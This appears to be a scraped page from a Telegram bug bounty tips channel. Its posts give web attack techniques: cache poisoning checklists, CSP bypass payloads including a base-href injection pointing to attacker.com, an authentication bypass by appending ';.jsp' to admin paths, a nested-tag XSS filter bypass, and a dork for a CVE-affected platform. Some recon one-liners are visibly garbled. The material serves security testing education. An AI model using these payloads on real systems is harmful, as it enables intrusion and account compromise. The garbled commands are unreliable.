Bug bounty Tips
Open in Telegram
๐ก๏ธ Cybersecurity enthusiast | ๐ป Helping secure the digital world | ๐ Web App Tester | ๐ต๏ธโโ๏ธ OSINT Specialist Admin: @laazy_hack3r
Show more5 784
Subscribers
+424 hours
+767 days
+40730 days
Posts Archive
5 790
Web Cache Poisoning
smallโ
checklist
Read Full Article : https://medium.com/@Aacle/web-cache-poisoning-part-2-weaponizing-headers-url-discrepancies-bbb7b2c0159a
โข Test X-Forwarded-*, X-Host, X-Original-URL, User-Agent for reflection.
โข Check Vary and target UA-specific poisoning when relevant.
โข Try encoded dot-segments (%2e%2e, %2f, %5c) and observe X-Cache
โข Test .css / .js extension flip on sensitive endpoints (CSPT)
โข Seed cache via Burp parallel requests (first .js then main HTML)
โข Use fresh IPs, low request rate, and record X-Cache, Age, CF-Cache-Status
โข Run delimiter discovery (append random suffix โ insert delimiter โ compare).
5 790
Part - 2
Web Cache Poisoning
Quick tip: test X-Forwarded-Host + extension flips (.css/.js) โ if the edge caches your reflected header or JSON as a โstaticโ asset, every visitor can get poisoned JS or tokens.
Read 5 practical PoCs & seeding recipes โ
https://medium.com/@Aacle/web-cache-poisoning-part-2-weaponizing-headers-url-discrepancies-bbb7b2c0159a
5 790
๐ฅ SSRF hunters โ 3 tiny tricks that turn โmaybeโ into provable (one-request) POCs โ read the full playbook๐
โข โฑ๏ธ Timing-delay
โข ๐ Subdomain-rotation
โข ๐ท๏ธ Header-correlation
Read the full Medium guide โก๏ธ https://medium.com/@Aacle/ssrf-part-3-advanced-tricks-timing-channels-out-of-the-box-detection-693c07c97015
5 790
Web Cache Poisoning Tips
Attacker mindset โ donโt bruteforce: look for what the cache keys include. Host headers, cookies, query strings, Accept headers, and odd edge-case headers often end up in the key.
Make the app include your input in the key โ you control cached output.
Read Full Article : https://medium.com/@Aacle/web-cache-poisoning-part-1-understanding-the-beast-d303f1741e48
5 790
First, understand this :
Content Security Policy = No XSS
It just means "XSS with extra steps"
๐ฉ : 70% of CSPs I encounter have misconfigurations that make them completely useless. #bugbounty #infosec
Here are the ๐ 5 deadly mistakes developers make:
๐ ๐ถ๐๐๐ฎ๐ธ๐ฒ #๐ญ: '๐๐ป๐๐ฎ๐ณ๐ฒ-๐ถ๐ป๐น๐ถ๐ป๐ฒ'
If you see this in script-src, you've already won.
Policy: script-src 'self' 'unsafe-inline'
Bypass: <script>alert(1)</script>
It literally allows ALL inline scripts.
๐ ๐ถ๐๐๐ฎ๐ธ๐ฒ #๐ฎ: ๐ช๐ถ๐น๐ฑ๐ฐ๐ฎ๐ฟ๐ฑ ๐๐ผ๐บ๐ฎ๐ถ๐ป๐ (*.๐ด๐ผ๐ผ๐ด๐น๐ฒ.๐ฐ๐ผ๐บ)
"It's Google, what could go wrong?"
Everything.
This JSONP endpoint on Google works on tons of apps: http://
accounts.google.com/o/oauth2/revoke?callback=alert
๐ ๐ถ๐๐๐ฎ๐ธ๐ฒ #๐ฏ: ๐ ๐ถ๐๐๐ถ๐ป๐ด ๐ฏ๐ฎ๐๐ฒ-๐๐ฟ๐ถ
This is my favorite because it's ALWAYS overlooked.
Inject: <base href="https://attacker.com">
Now ALL relative script paths load from your domain.
๐ ๐ถ๐๐๐ฎ๐ธ๐ฒ #๐ฐ: ๐๐ถ๐น๐ฒ ๐จ๐ฝ๐น๐ผ๐ฎ๐ฑ๐ ๐ผ๐ป ๐ช๐ต๐ถ๐๐ฒ๐น๐ถ๐๐๐ฒ๐ฑ ๐๐ผ๐บ๐ฎ๐ถ๐ป๐
Policy: script-src 'self' http://cdn.example.com
If you can upload files to that CDN โ game over.
upload a .js file disguised as a profile picture. Direct S3 URL. Loaded as script.
๐ ๐ถ๐๐๐ฎ๐ธ๐ฒ #๐ฑ: ๐ง๐ฟ๐๐๐๐ถ๐ป๐ด ๐๐๐ก๐ ๐๐ถ๐๐ต ๐ข๐น๐ฑ ๐๐ถ๐ฏ๐ฟ๐ฎ๐ฟ๐ถ๐ฒ๐
AngularJS versions < 1.6.0 have sandbox escapes.
If a whitelisted domain hosts old Angular โ you can execute code.
Check http://ajax.googleapis.com for old versions. This works more often than you'd think.
๐ง๐ต๐ถ๐ ๐ถ๐ ๐ท๐๐๐ ๐๐ต๐ฒ ๐ฏ๐ฒ๐ด๐ถ๐ป๐ป๐ถ๐ป๐ด.
๐ฃ๐ฎ๐ฟ๐ ๐ฎ: Advanced nonce exploitation, AngularJS escapes, service workers
๐ฃ๐ฎ๐ฟ๐ ๐ฏ: DOM clobbering, mutation XSS, scriptless attacks
๐๐๐น๐น ๐ด๐๐ถ๐ฑ๐ฒ + ๐๐ฒ๐๐๐ถ๐ป๐ด ๐ฐ๐ต๐ฒ๐ฐ๐ธ๐น๐ถ๐๐:
https://medium.com/@Aacle/a-bug-hunters-guide-to-csp-bypasses-part-1-69b606fd2699
5 790
๐ *How to Secure Your APIs โ A Practical Guide*
APIs are the backbone of modern apps โ but without security, they become open doors to attacks. Here's how to lock them down effectively:
---
โ
*1. Use Authentication & Authorization*
- Implement *OAuth2*, *JWT*, or *API keys*
- Enforce *role-based access control (RBAC)*
---
๐ *2. Validate Inputs Strictly*
- Sanitize user inputs
- Use strong data validation (e.g., Joi, Yup)
- Prevent SQL & NoSQL injection
---
๐ฆ *3. Rate Limiting & Throttling*
- Control request frequency to avoid abuse
- Use tools like *NGINX*, *API Gateway*, or *Cloudflare*
---
๐ *4. Use HTTPS Everywhere*
- Encrypt all data in transit
- Never expose APIs over HTTP
---
๐ต๏ธโโ๏ธ *5. Monitor & Log*
- Track unusual behavior
- Use centralized logging (e.g., ELK, Datadog)
---
๐งฑ *6. CORS & Firewall Rules*
- Restrict allowed origins
- Protect using *WAFs* and IP whitelisting
---
Secure APIs = Safe apps + Protected data + Trusted users
Build smart. Build safe.
5 790
๐A big curated list of awesome resources useful during Penetration testing, Vulnerability assessments, Red/Blue Team operations, Bug Bounty and more๐ง
Online tools for search info about:
- exploitโญ๏ธ
- vulnerabilitiesโญ๏ธ
- peopleโญ๏ธ
- emailsโญ๏ธ
- phone numbersโญ๏ธ
- domainsโญ๏ธ
- certificatesโญ๏ธ
and moreโค๏ธ.
https://github.com/edoardottt/awesome-hacker-search-engines
Learn Hacking from Basic to Proโค๏ธ
5 790
๐จCVE-2025-64095 (CVSS 10.0) : A Critical Flaw in DNN Platform Allows Unauthenticated Website Overwrite
โกDorks
HUNTER : http://product.name="DotNetNuke"
5 790
Hey Hunter's,
Darkshadow here back again!
โจAuthentication bypass method:
โ
Steps:
1. Target..com/carbon/server-admin/memory_info.jsp = redirect to login page [301 status]
2. Target..com/carbon/server-admin/memory_info.jsp;.jsp = gives the page content without authentication [200 status]
Payload ๐๐ผ ;.jspTip: 1. Find sensitive path from js file which need authentication. 2. Try to find endpoints which end with a extension like: .php, .jsp, .shtml etc. 3. Simply Fuzz every endpoint with the same extension payload like: ;.jsp ;.php ;.shtml If any of these gives 200ok check manually. And might it's works! Don't forget to show your loves guy's โค๏ธ
5 790
Extract all endpoints from a JS File and take your bug ๐
- Method one
waybackurls HOSTS | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?
15*[=: 1\5*[ '\"]?[^'\"]+.js[^'|"> ]*" | awk -F '/'
'{if(length($2))print "https://"$2}' | sort -fu | xargs -I '%' sh
-c "curl -k -s \"%)" | sed \"s/[;}\)>]/\n/g\" | grep -Po \" (L'1|\"](https?: )?[/1{1,2}[^'||l"> 1{5,3)|(\.
(get|post|ajax|load)\s*\(\5*['||\"](https?:)?[/1{1,2}[^'||\"> ]
{5,})\"" | awk -F "['|"]" '{print $2}' sort -fu
- Method two
cat JS.txt | grep -aop "(?<=(\"|\'|' ))\/[a-zA-Z0-9?&=\/-#.](?= (\"||'|'))" | sort -u | tee JS.txt
#infosec #cybersec #bugbountytips5 790
Hey Hunters,
DarkShadow here back again, dropping an
interesting XSS input sanitization bypass method.
You might have noticed that most websites currently use input sanitization by blocking certain tags and events, right!? Not really ๐
Okay, so first, have a look at some example tags that could trigger XSS:
script, img, a, iframe, object, video, audio, form, metaThe website blocks these keywords if they appear inside tags like < > or </ > and replaces them with nothing โ basically, null or an empty string "". So, if you try a payload like:
<script>alert(1)</script>It will be replaced with:
alert(1)Now, think a bit more deeply โ what if you write a payload like this:
<script <img>> alert(1) </script </img>>In this payload, look at the first part:
<script <img>>Here, <img> is a full image tag, and it will definitely be removed by the sanitization filter. But what about <script<? You can see the <script> tag isnโt written properly yet โ itโs <script followed by <, so it doesnโt match the sanitization logic exactly. Now, the interesting part is when the <img> tag gets removed from <script <img>>. After that, weโre left with <script>! That means the transformation is like this:
<script <img>> โ remove <img> โ <script>
</script </img>> โ remove </img> โ </script>And finally, we get a valid payload:
<script>alert(1)</script>So guys, if you really like reading DarkShadowโs methodologies, show your LOVE. And donโt forget to follow me ๐๐ผ x.com/darkshadow2bd #bugbountytips #xss
5 790
โ๏ธJSRecon-Buddy - A simple browser extension to quickly find interesting security-related information on a webpage.
๐ดhttps://github.com/TheArqsz/JSRecon-Buddy
5 790
JSMap Inspector - A powerful, offline, single-file HTML tool designed for developers and security researchers to inspect and analyze JavaScript Source Map (
.js.map) files.
https://github.com/ynsmroztas/JSMap-Inspector5 790
Black Hat USA 2025 Slides and files
Conference presentation slides
๐ผGitHub
๐ผInfoCon
โค Share & Support & Reaction Us
๐งฉ #event
๐ฐ @BackupLSO
๐ @LibrarySecOfficial
5 790
๐Download all bug bounty programs domains in scope items ๐ฏ
๐Get a full list of domains from active bug bounty programs across platforms like HackerOne, Bugcrowd, Intigriti, and more โ all in one place!๐ฅ
๐๐ผStep 1: Download the domains.txt file
๐step 2: Extract only main/root domains
`cat domains.txt | awk -F '.' '{print $(NF-1)"."$NF}' | grep -Eo '([a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}' | sort -u > main_domains`
๐Step 3: Extract all IP addresses:
`grep -Eo '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' domains.txt > ips.txt`
Don't forget to give reactionsโค๏ธ
Available now! Telegram Research 2025 โ the year's key insights 
